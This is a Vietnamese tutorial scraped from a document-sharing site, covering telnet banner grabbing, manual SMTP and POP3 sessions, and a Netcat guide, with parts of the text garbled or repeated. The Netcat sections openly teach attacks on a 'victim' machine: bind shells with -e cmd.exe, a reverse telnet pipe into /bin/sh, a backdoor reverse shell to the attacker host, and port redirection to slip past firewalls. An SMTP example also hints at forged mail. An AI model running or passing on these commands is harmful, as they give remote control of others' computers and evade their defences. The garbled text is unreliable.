Telnet là gì

18 491 0
Telnet là gì

Đang tải... (xem toàn văn)

Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống

Thông tin tài liệu

Telnet gì? Telnet chương trình terminal đầu cuối Nó thường dùng để login vào máy chủ daemon khác máy chủ đó! Trong viết này, cho bạn cách thu thập số thông tin máy chủ qua telnet Bạn cách check mail, gởi mail đặc biệt tham gia vào kênh chat IRC nước đó! Tất Telnet! Daemon gì? Daemon(hay gọi "service") chương trình chạy cổng định Nó chịu đáp ứng lại yêu cầu client client kết nối đến server cổng Ví dụ smtp daemon theo mặc định chạy cổng 25 Để check mail, máy bạn phải kết nối đến server cổng 25, cổng mà smtp daemon nắm giữ! Một số lệnh Telnet Đây số lệnh Telnet mà bạn cần nhớ! close đóng kết nối logout display hiển thị tham số điều khiển mode thay đổi mode kí tự open kết nối đến site quit thoát telnet send gởi kí tự đặc biệt set đặt tham số điều khiển unset gở bỏ tham số điều khiển đặt status cho biết thông tin trạng thái toggle chốt tham số điều khiển slc thay đổi trạng thái kí tự đặc biệt z pause telnet ! tạo subtelnet(telnet con) environ thay đổi biến trạng thái ? gọi hướng dẫn sử dụng telnet (Để biết thêm thông tin telnet, bạn gõ "man telnet" Linux*) Phát WEB SERVER telnet http://www.tnh.com.vn/ dùng web server nhỉ? Bạn mở "MS-DOS Prompt" gõ vào: C:\> telnet www.tnh.com.vn 80 Chúng ta telnet đến http://www.tnh.com.vn/ cổng 80! Tiếp theo bạn gõ vào "GET / HTTP/1.1"(không có dấu nháy ") nhấn phím hai lần, bạn nhận thông tin sau: HTTP/1.1 400 Bad Request Server: Microsoft-IIS/4.0 Date: Wed, 04 Jul 2001 06:52:31 GMT Content-Type: text/html Content-Length: 87 ErrorThe parameter is incorrect Connection to host lost Hãy xem thu thập gì? dòng 1: phiên http service: HTTP/1.1 (có PHP/4.0) Đây mã trạng thái HTML dòng 2: http server, Microsoft-IIS/4.0 dòng 3: ngày +GTM dòng 4: phân loại nội dung dòng 5: chiều dài kí tự Chỉ cần để ý đến dòng 2, bạn biết ăn 100% http://www.tnh.com.vn/ chạy IIS v4.0! (Lưu ý: bạn bật chế độ ghi nhật kí cho Telnet, mắt bạn không tài nhìn thấy dòng đâu! Nó nhanh ! Hãy vào Terminal/Start Logging định file nhật kí cho Telnet !) Bây bạn thử telnet đến http://www.astalavista.box.sk/ xem sao?! C:\> telnet www.astalavista.box.sk 80 GET / HTTP/1.1 HTTP/1.1 400 Bad Request Date: Wed, 04 Jul 2001 06:51:37 GMT Server: Apache/1.3.19 (Unix) PHP/4.0.4pl1 Connection: close Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 Bạn thấy http://www.astalavista.box.sk/ chạy Apache v1.3.19 Unix với PHP v4.0.4! Download upload file Telnet Nếu bạn biết xác địa file http server, bạn download cách telnet đến http server (ở cổng 80) gõ vào theo dạng sau "HEAD HTTP/1.1" thay cho "GET / HTTP/1.1" Ví dụ "HEAD /wordlist.txt HTTP/1.1" Nếu http server cho phép bạn upload file(thường chuyện đâu!), bạn dùng lệnh "PUT" để upload file lên Ví dụ "PUT /contact.htm HTTP/1.1" Gởi thư Telnet(dùng SMTP) SMTP - Simple Mail Transfer Protocol daemon thường dùng để send mail Cổng mặc định 25 Okay, bạn mở telnet đi! C:\> telnet mail.newmail.net 25 connected 220 digital Microsoft ESMTP MAIL Service, Version: 5.0.2195.1600 ready at Wed, Jul 2001 18:47:27 +1000 - dòng 1: mã số trạng thái 220: digital(domain địa ip server): esmtp(extended) version 5.0.2195.1600 dòng 2: thời gian +GMT Bây bạn cần phải biết số lệnh smtp Hãy gõ vào lệnh '?(hoặc '/?') 'help' để gọi hướng dẫn! Tiếp theo, send mail ! - lệnh HELO server.com (x authentication) MAIL FROM: admin@server.com (địa email người gởi) RCPT TO: victim@victimserver.net (địa email người nhận) DATA (các liệu thư) SUBJECT email subject (dòng subject) message bản, có giả mạo (kết thúc message dòng có dấu chấm '.') (Tôi không đề cập chi tiết cách gởi thư nặc danh đây, bạn tham khảo viết "Gởi thư nặc danh dội bom thư Sendmail" rõ!) Nhận thư qua Telnet(dùng POP3) POP3 - Post Office Protocol Version POP3 daemon thường chạy cổng 110(đây cổn chuẩn nó) Để check mail, bạn phải kết nối đến server chạy POP3 daemon cổng 110! C:\> telnet mail.newmail.net 110 connected +OK DPOP Version number supressed - Bây bạn vào check mail đó! Hãy xem qua lệnh sau: - lệnh USER username (username bạn) +OK dazzed nice to hear from you - password required PASS password (mật để vào hòm thư bạn) +OK password accepted LIST (liệt kê tất thư) 3045bytes 345bytes 8837bytes RETR (đọc thư thứ 2) Dễ không? Tham gia vào kênh chat IRC nước ngoài! Hãy theo ! Đầu tiên bạn telnet đến nether.net, đăng nhập với tên login newuser tạo account cho bạn! C:\> telnet nether.net login: newuser Okay, login vào với shell account mà bạn vừa đăng kí chat IRC! IRC mở IRC client /SERVER irc.box.sk 6667 kết nối đến irc.box.sk cổng 6667 /NICK Dazzed chọn nickname ! /JOIN #lameindustries tham gia vào kênh chat mà bạn muốn! Port surfing(duyệt cổng) Port surfing nghĩa kết nối đến cổng máy chủ để thu thập thông tin, chẳng hạn thời gian, hệ điều hành, dịch vụ chạy, ! Sau danh sách số cổng mà bạn nên biết! Interesting ports echo bạn nhập vào host gởi trả lại(echo) bạn, không hữu ích cho lắm! 11 systat nhiều thông tin users 13 daytime thời gian ngày tháng máy chủ 15 netstat thông tin networks 21 ftp file transfer protocol 23 telnet nơi bạn login 25 smpt simple mail transfer protocol 37 time time 39 rlp resource location 43 whois thông tin hosts networks 53 domain nameserver 79 finger nhiều thông tin users (thường bị disable) 80 http web server 110 pop incoming email 119 nntp usenet news groups 443 https web server khác an toàn hơn! 512 biff mail notification 513 rlogin - remote login 514 shell remote command, không cần dùng mật khẩu! syslog remote system logging 520 route routing information protocol Cách sử dụng telnet ứng dụng : 1- Giới thiệu: Telnet chương trình cho phép bạn kết nối đăng nhập vào máy tính xa (trong LAN, internet) Khi kết nối thành công, máy tính bạn thực chức trạm trung gian để gửi yêu cầu đến máy tính xa Bạn dùng máy tính để truy cập thông tin, thực thi chương trình sử dụng số tài nguyên khác máy tính xa 2- Sử dụng telnet: Bắt đầu từ command prompt, gõ vào telnet, bạn dùng 9x, đưa bạn vào trình windows telnet Bạn chạy menu Start/Run Ở chế độ đánh lệnh, bạn dùng lệnh sau: OPEN : mở kết nốI đến máy tính xa, gọi telnet session CLOSE : đóng kết nối trở dấu nhắc đợI lệnh QUIT: đóng kết nối thoát telnet : nhấn phím enter đưa bạn thoát khỏI chế độ dấu nhắc lệnh trở lại telnet session SET ECHO: bật/tắt chế độ lệnh đánh vào windows telnet Lưu ý 2k SET LOCAL_ECHO Để kết nối, ta dùng lệnh OPEN trực tiếp lệnh telnet vd: telnet anyhost.com 12345 Trying 123.123.112.12 port 12345 Connected to anyhost.com Escape character is… Sau kết nối xong, bạn telnet session Có thể dùng kí tự escape để trở dấu nhắc lệnh 3- Ứng dụng telnet để truy cập POP email: a- Ðọc mail: Các internet mail server cho phép truy cập thông qua giao thức POP (Post Office Protocol), cổng 110 Nếu POP server bạn dùng anyhost.com, ta dùng lệnh sau: telnet anyhost.com 110 Một số lệnh bạn cần dùng truy cập POP email USER : mở hộp thư username PASS : mật cho hộp thư LIST : liệt kê emails hộp thư RETR : xem thư có thứ tự number, liệt kê lệnh LIST TOP : xem thư RETR, dừng lại số dòng định DELE : xóa thư có thứ tự number QUIT : đóng telnet session Ví dụ, ta truy cập vào yahoo để xem mail, ta thực lệnh: telnet pop.mail.yahoo.com 110 chờ chút Nếu thành công, bạn nhận dòng thông tin sau: +OK hello from popgate Kể từ đây, trước mở telnet session, bạn có dùng SET ECHO, bạn đánh vào lên, không bạn phải nhập lệnh thật xác Nhập tên user USER w_hat95 +OK password required Nhập mật PASS anhyeuemnhieulam +OK maildrop ready, messages (2983 octets) (34232 2324232) Ở đây, mail box có tin, tổng kích thước email, số lại bạn không cần quan tâm Bạn dùng lệnh list để liệt kê email, bao gồm stt size: list 1728 1205 Ðể xem mail có stt đó, bạn dùng lệnh retr retr Chờ chút, bạn nhận thông tin đầy đủ mail đó, bao gồm toàn header nội dung vd: +OK 1783 octets X-Apparently-To: w_hat95@yahoo.com via web20306.mail.yahoo.com; 04 Jan 2002 23:4 8:08 -0800 (PST) X-RocketRCL: 1037;1;2465408753 Received: from web11904.mail.yahoo.com (216.136.172.18) by mta621.mail.yahoo.com with SMTP; 04 Jan 2002 23:48:08 -0800 (PST) Message-ID: Received: from [61.214.156.105] by web11904.mail.yahoo.com via HTTP; Fri, 04 Jan 2002 23:48:08 PST Date: Fri, Jan 2002 23:48:08 -0800 (PST) From: Joel Subject: Re: hi? To: F M In-Reply-To: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="0-888944639-1010216888=:34368" vvv Về thông tin email header,bạn tự tìm hiểu lấy! ) Nếu thông tin liệt kê nhiều, bạn không kịp xem, dùng lệnh top để liệt kê theo số lượng dòng định vd: top 10 -> liệt kê 10 dòng đầu (kể header) email số 1, sau xong 10 dòng cho bạn xem, chờ vài giây, tiếp tục dòng toàn email xem!? Ðể xóa email, bạn dùng lệnh dele vd: dele -> xóa email thứ danh sách Sau check xong emails, bạn đóng telnet session lệnh QUIT, bạn đưa dấu nhắc lệnh Bất lợi việc check email POP dùng telnet bạn giao diện dễ nhìn trình check POP mail khác Bạn trả lời từ mail đọc b- Gửi mail: Tương tự trên, internet mail server cung cấp giao thức SMTP (Simple Mail Transfer Protocol) cho phép bạn send email thông qua server đó, cổng 25 Một số lệnh bạn cần dùng: HELO : giới thiệu host, thông tin không cần thiết MAIL FROM: RCPT TO: DATA : sau enter, bạn nhập nội dung email Sau nhập xong, muốn kết thúc, bạn phải xuống hàng nhập dấu chấm '.' RSET xóa thông tin lần gửi nhất, dùng bạn muốn gửi đến người khác QUIT : thoát HELP xem trợ giúp lệnh, lệnh tùy thuộc vào mail server bạn connect Ví dụ, yahoo: Bạn thực lệnh telnet smtp.mail.yahoo.com 25 Chờ lúc, kết nối thành công, bạn nhận thông tin sau: 220 smtp011.mail.yahoo.com ESMTP Kết nối: helo smtp.mail.yahoo.com 250 smtp011.mail.yahoo.com Nhập thông tin người gửi: mail from: w_hat95@yahoo.com 250 ok Nhập thông tin người nhận: rcpt to: joel@yahoo.com Joel 250 ok Nhập nội dung: data blsdfsdfsd 354 go ahead Subject: hi Joel, how r u these days? Hi Joel, R u busy this late evening? If ur free, get to Mo^.ng Mo* bar I need to talk to you See ya, W_Hat 250 ok 1010373599 qp 48077 Ðóng telnet session Quit Bạn thao khảo ví dụ send mail thông qua SMTP tại: http://www.kbcafe.com/articles/smtp.html ps: ví dụ test Windows 2000, bạn thực tương tự Windows 9x Tùy mail server mà thông tin xác nhận thông báo lệnh bạn khác Hướng dẫn sử dụng Netcat Giới thiệu Netcat công cụ thiếu bạn muốn hack website Vì bạn cần biết chút Netcat -2 Biên dịch Đối với Netcat cho Linux, bạn phải biên dịch trước sử dụng - hiệu chỉnh file netcat.c vi: vi netcat.c + tìm dòng res_init(); main() thêm vào trước dấu "/": // res_init(); + thêm dòng sau vào phần #define (nằm đầu file): #define GAPING_SECURITY_HOLE #define TELNET - biên dịch: make linux - chạy thử: /nc -h - bạn muốn chạy Netcat nc thay cho /nc, bạn cần hiệu chỉnh lại biến môi trường PATH file ~/.bashrc, thêm vào ":." PATH=/sbin:/usr/sbin: : Bản Netcat cho Win không cần phải compile có sẵn file nhị phân nc.exe Chỉ giải nén chạy xong -3 Các tùy chọn Netcat Netcat chạy chế độ dòng lệnh Bạn chạy nc -h để biết tham số: C:\>nc -h connect to somewhere: nc [-options] hostname port[s] [ports] listen for inbound: nc -l -p port [options] [hostname] [port] options: -d detach from console, stealth mode -e prog inbound program to exec [dangerous!!] -g gateway source-routing hop point[s], up to -G num source-routing pointer: 4, 8, 12, -h this cruft -i secs delay interval for lines sent, ports scanned -l listen mode, for inbound connects -L listen harder, re-listen on socket close -n numeric-only IP addresses, no DNS -o file hex dump of traffic -p port local port number -r randomize local and remote ports -s addr local source address -t answer TELNET negotiation -u UDP mode -v verbose [use twice to be more verbose] -w secs timeout for connects and final net reads -z zero-I/O mode [used for scanning] port numbers can be individual or ranges: m-n [inclusive] * Cú pháp: - chế độ kết nối : nc [-tùy_chọn] tên_máy cổng1[-cổng2] - chế độ lắng nghe: nc -l -p cổng [-tùy_chọn] [tên_máy] [cổng] * Một số tùy chọn: -d tách Netcat khỏi cửa sổ lệnh console, Netcat chạy chế độ steath(không hiển thị Taskbar) -e prog thi hành chương trình prog, thường dùng chế độ lắng nghe -h gọi hướng dẫn -i secs trì hoãn secs mili giây trước gởi dòng liệu -l đặt Netcat vào chế độ lắng nghe để chờ kết nối đến -L buộc Netcat "cố" lắng nghe Nó lắng nghe trở lại sau ngắt kết nối -n dùng địa IP dạng số, chẳng hạn 192.168.16.7, Netcat không thẩm vấn DNS -o file ghi nhật kí vào file -p port định cổng port -r yêu cầu Netcat chọn cổng ngẫu nhiên(random) -s addr giả mạo địa IP nguồn addr -t không gởi thông tin phụ phiên telnet Khi bạn telnet đến telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client bạn gởi đến thông tin phụ biến môi trường TERM, USER Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat không gởi thông tin đến telnetd -u dùng UDP(mặc định netcat dùng TCP) -v hiển thị chi tiết thông tin kết nối -vv hiển thị thông tin chi tiết -w secs đặt thời gian timeout cho kết nối secs mili giây -z chế độ zero I/O, thường sử dụng scan port Netcat hổ trợ phạm vi cho số hiệu cổng Cú pháp cổng1-cổng2 Ví dụ: 1-8080 nghĩa 1,2,3, ,8080 -4 Các ví dụ: 4.1 Chộp banner web server Ví dụ: nc đến 172.16.84.2, cổng 80 C:\>nc 172.16.84.2 80 HEAD / HTTP/1.0 (tại bạn gõ Enter lần) HTTP/1.1 200 OK Date: Sat, 05 Feb 2000 20:51:37 GMT Server: Apache-AdvancedExtranetServer/1.3.19 (Linux-Mandrake/3mdk) mod_ssl/2.8.2 OpenSSL/0.9.6 PHP/4.0.4pl1 Connection: close Content-Type: text/html Để biết thông tin chi tiết kết nối, bạn dùng -v(-vv cho biết thông tin chi tiết nữa) C:\>nc -vv 172.16.84.1 80 172.16.84.1: inverse host lookup failed: h_errno 11004: NO_DATA (UNKNOWN) [172.16.84.1] 80 (?) open HEAD / HTTP/1.0 HTTP/1.1 200 OK Date: Fri, 04 Feb 2000 14:46:43 GMT Server: Apache/1.3.20 (Win32) Last-Modified: Thu, 03 Feb 2000 20:54:02 GMT ETag: "0-cec-3899eaea" Accept-Ranges: bytes Content-Length: 3308 Connection: close Content-Type: text/html sent 17, rcvd 245: NOTSOCK Nếu muốn ghi nhật kí, dùng -o Ví dụ: nc -vv -o nhat_ki.log 172.16.84.2 80 - xem file nhat_ki.log < 00000000 48 54 54 50 2f 31 2e 31 20 32 30 30 20 4f 4b 0d # HTTP/1.1 200 OK < 00000010 0a 44 61 74 65 3a 20 46 72 69 2c 20 30 34 20 46 # Date: Fri, 04 F < 00000020 65 62 20 32 30 30 30 20 31 34 3a 35 30 3a 35 34 # eb 2000 14:50:54 < 00000030 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 # GMT Server: Ap < 00000040 61 63 68 65 2f 31 2e 33 2e 32 30 20 28 57 69 6e # ache/1.3.20 (Win < 00000050 33 32 29 0d 0a 4c 61 73 74 2d 4d 6f 64 69 66 69 # 32) Last-Modifi < 00000060 65 64 3a 20 54 68 75 2c 20 30 33 20 46 65 62 20 # ed: Thu, 03 Feb < 00000070 32 30 30 30 20 32 30 3a 35 34 3a 30 32 20 47 4d # 2000 20:54:02 GM < 00000080 54 0d 0a 45 54 61 67 3a 20 22 30 2d 63 65 63 2d # T ETag: "0-cec< 00000090 33 38 39 39 65 61 65 61 22 0d 0a 41 63 63 65 70 # 3899eaea" Accep < 000000a0 74 2d 52 61 6e 67 65 73 3a 20 62 79 74 65 73 0d # t-Ranges: bytes < 000000b0 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a # Content-Length: < 000000c0 20 33 33 30 38 0d 0a 43 6f 6e 6e 65 63 74 69 6f # 3308 Connectio < 000000d0 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close Conten < 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm < 000000f0 6c 0d 0a 0d 0a # l dấu < nghĩa server gởi đến netcat dấu > nghĩa netcat gởi đến server 4.2 Quét cổng - chạy netcat với tùy chọn -z Để quét cổng nhanh hơn, dùng -n netcat không cần thấm vấn DNS Ví dụ để scan cổng TCP(1->500) host 172.16.106.1 [dt@vicki /]# nc -nvv -z 172.16.106.1 1-500 (UNKNOWN) [172.16.106.1] 443 (?) open (UNKNOWN) [172.16.106.1] 139 (?) open (UNKNOWN) [172.16.106.1] 111 (?) open (UNKNOWN) [172.16.106.1] 80 (?) open (UNKNOWN) [172.16.106.1] 23 (?) open - bạn cần scan cổng UDP, dùng -u [dt@vicki /]# nc -u -nvv -z 172.16.106.1 1-500 (UNKNOWN) [172.16.106.1] 1025 (?) open (UNKNOWN) [172.16.106.1] 1024 (?) open (UNKNOWN) [172.16.106.1] 138 (?) open (UNKNOWN) [172.16.106.1] 137 (?) open (UNKNOWN) [172.16.106.1] 123 (?) open (UNKNOWN) [172.16.106.1] 111 (?) open 4.3 Biến Netcat thành trojan - máy tính nạn nhân, bạn khởi động netcat vào chế độ lắng nghe, dùng tùy chọn -l(listen) -p port để xác định số hiệu cổng cần lắng nghe, -e để yêu cầu netcat thi hành chương trình có kết nối đến, thường shell lệnh cmd.exe(đối với NT) /bin/sh(đối với Unix) Ví dụ: E:\>nc -nvv -l -p 8080 -e cmd.exe listening on [any] 8080 connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3159 sent 0, rcvd 0: unknown socket error - máy tính dùng để công, bạn việc dùng netcat nối đến máy nạn nhân cổng định, chẳng hạn 8080 C:\>nc -nvv 172.16.84.2 8080 (UNKNOWN) [172.16.84.2] 8080 (?) open Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp E:\>cd test cd test E:\test>dir /w dir /w Volume in drive E has no label Volume Serial Number is B465-452F Directory of E:\test [.] [ ] head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe File(s) 262,499 bytes Dir(s) 191,488,000 bytes free C:\test>exit exit sent 20, rcvd 450: NOTSOCK Như bạn thấy, làm mà chẳng với máy nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat máy nạn nhân đóng Để yêu cầu netcat lắng nghe trở lại sau kết nối, bạn dùng -L thay cho -l Lưu ý: -L áp dụng cho Netcat for Windows, không áp dụng cho chạy Linux E:\>nc -nvv -L -p 8080 -e cmd.exe listening on [any] 8080 - Riêng Netcat cho Win, bạn lắng nghe cổng lắng nghe Chỉ cần định địa nguồn -s Ví dụ: netstat -a TCP nan_nhan:domain nan_nhan:0 LISTENING nc -nvv -L -e cmd.exe -s 172.16.84.1 -p 53 -> lắng nghe cổng 53 listening on [172.16.84.1] 53 connect to [172.16.84.1] from (UNKNOWN) [172.16.84.1] 3163 - Trên Windows NT, để đặt Netcat chế độ lắng nghe, không cần phải có quyền Administrator, cần login vào với username bình thường khởi động Netcat xong - Chú ý: bạn chạy netcat với -u -e cmd.exe -u -e /bin/sh netcat không làm việc Nếu bạn muốn có UDP shell Unix, dùng udpshell thay cho netcat -5 Kĩ thuật tiên tiến 5.1 Telnet nghịch chuuyển - dùng telnet để nối cửa số netcat lắng nghe, kế đưa lệnh từ cửa sổ vào luồng telnet nghịch chuyển, gởi kết vào cửa sổ Ví dụ: - máy dùng để công(172.16.84.1), mở cửa sổ netcat lắng nghe cổng 80 25: + cửa sổ Netcat (1) C:\>nc -nvv -l -p 80 listennng on [any] 80 connect to [172.16.84.1] from [172.16.84.2] 1055 pwd ls -la _ + cửa sổ Netcat (2) C:\>nc -nvv -l -p 25 listening on [any] 25 connect to [172.16.84.1] from (UNKNOWN) [172.16.84.2] 1056 / total 171 drwxr-xr-x 17 root root 4096 Feb 16:15 drwxr-xr-x 17 root root 4096 Feb 16:15 drwxr-xr-x root root 4096 Feb 08:55 b ( ²?n drwxr-xr-x root root 4096 Feb 14:19 boot drwxr-xr-x 13 root root 106496 Feb 14:18 dev drwxr-xr-x 37 root root 4096 Feb 14:23 et = ²? drwxr-xr-x root root 4096 Feb 08:58 home drwxr-xr-x root root 4096 Feb 08:50 l ( ²?b drwxr-xr-x root root 7168 De = ²? 31 1969 mnt drwxr-xr-x root root 4096 Feb 16:18 n = ²? drwxr-xr-x root root 4096 Aug 23 12:03 opt dr-xr-xr-x 61 root root Feb 09:18 pro = ²? drwx 12 root root 4096 Feb 16:24 root drwxr-xr-x root root 4096 Feb 08:55 sb ( ²?n drwxrwxrwt root root 4096 Feb 16:25 tmp drwxr-xr-x 13 root root 4096 Feb 08:42 usr drwxr-xr-x 18 root root 4096 Feb 08:52 var - máy tính nạn nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để công(172.16.84.1), dùng /bin/sh để kết xuất: [root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25 /bin/sh: Trying: command not found /bin/sh: Connected: command not found /bin/sh: Escape: command not found Trying 172.16.84.1 Connected to 172.16.84.1 Escape character is '^]' _ Telnet máy nạn nhân chuyển tất mà gõ vào cửa sổ Netcat (1) - cổng 80 kết xuất sang cho /bin/sh thi hành Kết /bin/sh kết xuất trở lại cho máy tính dùng để công cửa sổ Netcat (2) - cổng 25 Nhiệm vụ bạn cần gõ lệnh vào cửa sổ Netcat (1) xem kết cửa sổ Netcat (2) Sở dĩ chọn cổng 80 25 cổng thường không bị firewalls filters lọc 5.2 Tạo kênh sau Cũng tương tự telnet nghịch chuyển - máy tính dùng để công, bạn đặt Netcat lắng nghe cổng 80 cổng không bị firewall chặn: C:\>nc -nvv -l -p 80 listennng on [any] 80 - tiếp theo, từ shell lệnh máy nạn nhân, bạn nối Netcat đến máy dùng để công với tùy chọn -e để đổ shell: E:\>nc -e cmd.exe 172.16.84.1 80 Một máy nạn nhân thi hành chuổi lệnh trên, kênh sau nc tạo, "nhét" shell (trong trường hợp cmd.exe) trở vào nc Kể từ đây, có shell lệnh ảo C:\>nc -nvv -l -p 80 listenning pm [any] 80 connect to [172.16.84.1] from [UNKNOWN] [172.16.84.3] 1035 Microsoft Windows 2000 [Version 5.00.2195] (C) Copyright 1985-1999 Microsoft Corp E:\> 5.3 Đổi hướng cổng Bạn dùng tunnel.pl fpipe.exe Hãy xem ví dụ sau: - chạy nc cổng bất kì: E:\>nc -nvv -L -p 1234 -e cmd.exe listening on [any] 1234 - chạy tunnel fpipe để đổi hướng cổng C:\>perl tunnel.pl port=53 tohost=127.0.0.1 toport=1234 C:\>fpipe -l 53 -r 1234 127.0.0.1 tunnel, fpipe lắng nghe cổng 53, sau chuyển tiếp kết nối đến 127.0.0.1:1024, cổng mà netcat lắng nghe Đổi hướng cổng cách để vòng qua firewalls [...]... nhiên(random) -s addr giả mạo địa chỉ IP nguồn là addr -t không gởi các thông tin phụ đi trong một phiên telnet Khi bạn telnet đến một telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client của bạn gởi đến các thông tin phụ như biến môi trường TERM, USER Nếu bạn sử dụng netcat với tùy chọn -t để telnet, netcat sẽ không gởi các thông tin này đến telnetd -u dùng UDP(mặc định netcat dùng TCP)... khởi động Netcat là xong - Chú ý: bạn không thể chạy netcat với -u -e cmd.exe hoặc -u -e /bin/sh vì netcat sẽ không làm việc đúng Nếu bạn muốn có một UDP shell trên Unix, hãy dùng udpshell thay cho netcat -5 Kĩ thuật tiên tiến 5.1 Telnet nghịch chuuyển - dùng telnet để nối cửa số netcat đang lắng nghe, kế đó đưa lệnh từ cửa sổ này vào luồng telnet nghịch chuyển,... nhân(172.16.84.2), telnet nghịch chuyển đến máy dùng để tấn công(172.16.84.1), dùng /bin/sh để kết xuất: [root@nan_nhan /]# telnet 172.16.84.1 80 | /bin/sh | telnet 172.16.84.1 25 /bin/sh: Trying: command not found /bin/sh: Connected: command not found /bin/sh: Escape: command not found Trying 172.16.84.1 Connected to 172.16.84.1 Escape character is '^]' _ Telnet trên máy nạn nhân sẽ chuyển tất cả những gì mà... các thông tin về kết nối hiện tại -vv sẽ hiển thị thông tin chi tiết hơn nữa -w secs đặt thời gian timeout cho mỗi kết nối là secs mili giây -z chế độ zero I/O, thường được sử dụng khi scan port Netcat hổ trợ phạm vi cho số hiệu cổng Cú pháp là cổng1-cổng2 Ví dụ: 1-8080 nghĩa là 1,2,3, ,8080 -4 Các ví dụ: 4.1 Chộp banner của web server Ví dụ: nc đến 172.16.84.2,... 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e # n: close Conten < 000000e0 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d # t-Type: text/htm < 000000f0 6c 0d 0a 0d 0a # l dấu < nghĩa là server gởi đến netcat dấu > nghĩa là netcat gởi đến server 4.2 Quét cổng - chạy netcat với tùy chọn -z Để quét cổng nhanh hơn, hãy dùng -n vì netcat sẽ không cần thấm vấn DNS Ví dụ để scan các cổng TCP(1->500) của host... head.log NETUSERS.EXE NetView.exe ntcrash.zip password.txt pwdump.exe 6 File(s) 262,499 bytes 2 Dir(s) 191,488,000 bytes free C:\test>exit exit sent 20, rcvd 450: NOTSOCK Như bạn thấy, chúng ta đã có thể làm gì mà chẳng được với máy của nạn nhân qua shell lệnh này?! Tuy nhiên, sau kết nối trên, netcat trên máy nạn nhân cũng đóng luôn Để yêu cầu netcat lắng nghe trở lại sau mỗi kết nối, bạn dùng -L thay cho... 1010373599 qp 48077 Ðóng telnet session Quit Bạn có thể thao khảo một ví dụ về send mail thông qua SMTP tại: http://www.kbcafe.com/articles/smtp.html ps: các ví dụ trên đã test trên Windows 2000, các bạn có thể thực hiện tương tự trên Windows 9x Tùy mail server mà các thông tin xác nhận và thông báo các lệnh của bạn có thể khác nhau Hướng dẫn sử dụng Netcat 1 Giới thiệu Netcat là một công cụ không thể... đầu file): #define GAPING_SECURITY_HOLE #define TELNET - biên dịch: make linux - chạy thử: /nc -h - nếu bạn muốn chạy Netcat bằng nc thay cho /nc, bạn chỉ cần hiệu chỉnh lại biến môi trường PATH trong file ~/.bashrc, thêm vào ":." PATH=/sbin:/usr/sbin: : Bản Netcat cho Win không cần phải compile vì đã có sẵn file nhị phân nc.exe Chỉ vậy giải nén và chạy là xong ... được kết xuất trở lại cho máy tính dùng để tấn công trên cửa sổ Netcat (2) - cổng 25 Nhiệm vụ của bạn là chỉ cần gõ lệnh vào cửa sổ Netcat (1) và xem kết quả trong cửa sổ Netcat (2) Sở dĩ tôi chọn cổng 80 và 25 vì các cổng này thường không bị firewalls hoặc filters lọc 5.2 Tạo kênh sau Cũng tương tự như telnet nghịch chuyển - trên máy tính dùng để tấn công, bạn đặt Netcat lắng nghe trên cổng 80 vì cổng... tunnel.pl port=53 tohost=127.0.0.1 toport=1234 C:\>fpipe -l 53 -r 1234 127.0.0.1 tunnel, fpipe sẽ lắng nghe trên cổng 53, sau đó chuyển tiếp kết nối đến 127.0.0.1:1024, đây là cổng mà netcat đang lắng nghe Đổi hướng cổng là một cách để đi vòng qua firewalls ... phiên telnet Khi bạn telnet đến telnet daemon(telnetd), telnetd thường yêu cầu trình telnet client bạn gởi đến thông tin phụ biến môi trường TERM, USER Nếu bạn sử dụng netcat với tùy chọn -t để telnet, ... thông tin telnet, bạn gõ "man telnet" Linux*) Phát WEB SERVER telnet http://www.tnh.com.vn/ dùng web server nhỉ? Bạn mở "MS-DOS Prompt" gõ vào: C:> telnet www.tnh.com.vn 80 Chúng ta telnet đến... Telnet, mắt bạn không tài nhìn thấy dòng đâu! Nó nhanh ! Hãy vào Terminal/Start Logging định file nhật kí cho Telnet !) Bây bạn thử telnet đến http://www.astalavista.box.sk/ xem sao?! C:> telnet

Ngày đăng: 04/12/2015, 23:32

Tài liệu cùng người dùng

Tài liệu liên quan